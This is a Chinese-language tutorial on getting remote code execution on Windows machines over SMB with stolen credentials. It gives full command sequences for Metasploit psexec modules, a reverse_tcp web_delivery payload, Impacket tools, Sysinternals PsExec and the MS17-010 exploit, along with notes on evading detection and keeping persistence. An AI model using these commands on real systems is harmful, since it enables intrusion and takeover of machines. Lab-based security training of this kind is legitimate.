多種使用SMB埠遠端連線PC的方法介紹
當你收集到了目標PC的使用者名稱和密碼之後,如何通過SMB埠445來與目標使用者的裝置建立連線呢?在這篇文章中,我們將幫助大家解開這個疑惑。
參考資料
《 ofollow,noindex" target="_blank">如何通過SMB協議收集目標使用者的使用者名稱及密碼 》
《 SMB協議介紹 》
研究裝置
目標主機:Windows Server 2008 R2
Microsoft Windows認證使用者程式碼執行
這個模組可以利用有效的管理員使用者名稱和密碼(或密碼雜湊)來執行一個任意Payload,這個模組跟SysInternals提供的“psexec”實用工具非常類似,而且該模組現在還可以在攻擊完成之後自動清理痕跡。這款工具所建立的服務使用的是隨機選擇的使用者名稱及相關描述。
msf > useexploit/windows/smb/psexec msf exploitwindows/smb/psexec) > set rhost 192.168.1.104 msf exploit(windows/smb/psexec)> set smbuser administrator msf exploit(windows/smb/psexec)> set smbpass Ignite@123 msf exploit(windows/smb/psexec)> exploit
備註:
rhost–> 目標PC的IP地址 smbuser–> 使用者名稱 smbpass–> 密碼
運行了上述命令之後,你將會拿到目標PC的meterpreter會話,接下來你就可以訪問目標系統內的資源了。
Microsoft Windows認證Powershell命令執行
這個模組可以使用有效的管理員使用者名稱和密碼來執行Powershell Payload,這裡使用的技術跟“psexec”所使用的技術相似。Payload採用了base64編碼,可以使用-encoded命令選項來從命令列介面執行。這種方法不會把Payload寫入到目標裝置的磁碟中,而且每次生成的Payload都是唯一的,這樣更加不容易被基於簽名的檢測方案檢測到。為了實現持久化感染,模組還提供了持久化選項並通過while迴圈來不斷執行Payload。通過分析後我們還發現,PSH的執行還加入了延遲和混淆技術來躲避檢測。為了避免彈出互動式程序通知(可能會引起使用者的懷疑),psh Payload的大小減少了很多,並且封裝在一個Powershell呼叫中(完全隱藏在視窗內)。
msf > useexploit/windows/smb/psexec_psh
msf exploit(windows/smb/psexec_psh) > setrhost 192.168.1.104
msf exploit(windows/smb/psexec_psh)> set smbuser administrator
msf exploit(windows/smb/psexec_psh)> set smbpass Ignite@123
msf exploit(windows/smb/psexec_psh)> exploit
運行了上述命令之後,你將會拿到目標PC的meterpreter會話,接下來…
Microsoft Windows認證管理員實用工具
這個模組可以使用有效的管理員使用者名稱和密碼來在一臺或多臺主機上執行任意命令,這個模組是非常有用的,因為它不需要向目標主機上傳任何的程式碼。因此,在一個新的metasploit框架中,我們就可以使用Web傳送模組來獲取到惡意dll程式碼,並在目標主機上實現任意命令執行。
useexploit/multi/script/web_delivery msfexploit(multi/script/web_delivery) > set target 3 msfexploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp msfexploit(multi/script/web_delivery) > set lhost 192.168.1.106 msfexploit(multi/script/web_delivery) > exploit
複製上圖中框起來的程式碼,這裡面就是我們的惡意dll程式碼。
msf> use auxiliary/admin/smb/psexec_command msfauxiliary(admin/smb/psexec_command) > set rhosts 192.168.1.104 msfauxiliary(admin/smb/psexec_command) > set smbuser administrator msfauxiliary(admin/smb/psexec_command) > set smbpass Ignite@123 msfauxiliary(admin/smb/psexec_command) > set COMMAND [Paste above copied dllcode here] msfauxiliary(admin/smb/psexec_command) > exploit
當我們運行了psexec auxiliary模組之後,我們將拿到擁有管理員許可權的meterpreter會話。
SMB Impacket WMI Exec
這個模組的使用方法跟psexec類似,但是它主要通過WMI來實現命令執行。
msf> use auxiliary/scanner/smb/impacket/wmiexec msfauxiliary(scanner/smb/impacket/wmiexec) > set rhosts 192.168.1.104 msfauxiliary(scanner/smb/impacket/wmiexec) > set smbuser administrator msfauxiliary(scanner/smb/impacket/wmiexec) > set smbpass Ignite@123 msfauxiliary(scanner/smb/impacket/wmiexec) > set COMMAND systeminfo msfauxiliary(scanner/smb/impacket/wmiexec) > exploit
Impacket for Psexec.py
Psexec.py可以在遠端Windows系統中執行程序、拷貝檔案、處理輸出結果並回傳流資料。它可以直接在完全互動式命令控制檯中遠端執行shell命令,而且不需要安裝任何的客戶端軟體。現在,我們需要先從GitHub上安裝Impacket工具。首先克隆git,然後安裝Impacket,接下來執行psexec.py來與目標主機建立連線。
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python setup.py install
cd examples
語句:./psexec.py [[domain/] username [: password] @] [Target IP Address]
Impacket for Atexec.py
這個樣例能夠通過任務計劃服務(Task Scheduler)來在目標主機上實現命令執行,並返回命令執行後的輸出結果。
./atexec.pySERVER/Administrator:[email protected] systeminfo
語句:
/atexec.py [[domain/] username [: password] @] [Target IP Address][Command]
你可以從下圖中看到,跟伺服器的遠端連線已經建立成功,命令systeminfo將會在目標伺服器上執行,輸出結果將會直接返回到Kali的終端視窗。
PsExec.exe
PsExec.exe這款軟體可以幫助我們訪問目標網路內的其他主機,它能夠以自動化的形式拿到遠端PC的shell。
PsExec.exe下載地址:【 點我下載 】
下載後解壓檔案,然後在命令列視窗輸入下列命令:
PsExec.exe\\192.168.1.104-u administrator -p Ignite@123 cmd
備註:
192.168.1.104–> 遠端主機的IP地址 -u–> 指定使用者名稱 -p–> 指定密碼 cmd–> 輸入命令
MS17-010 EternalRomance SMB 遠端程式碼執行
測試裝置:Windows 2007 旗艦版
攻擊裝置:Kali Linux
這個模組利用了SMB和MS17-010漏洞來實現資料的任意寫入,並最終重寫目標會話的連線資訊,然後將其轉換為管理員會話。
msf> use exploit/windows/smb/ms17_010_psexec msfexploit(windows/smb/ms17_010_psexec) > set rhost 192.168.1.105 msfexploit(windows/smb/ms17_010_psexec) > set smbuser raj msfexploit(windows/smb/ms17_010_psexec) > set smbpass 123 msfexploit(windows/smb/ms17_010_psexec) > exploit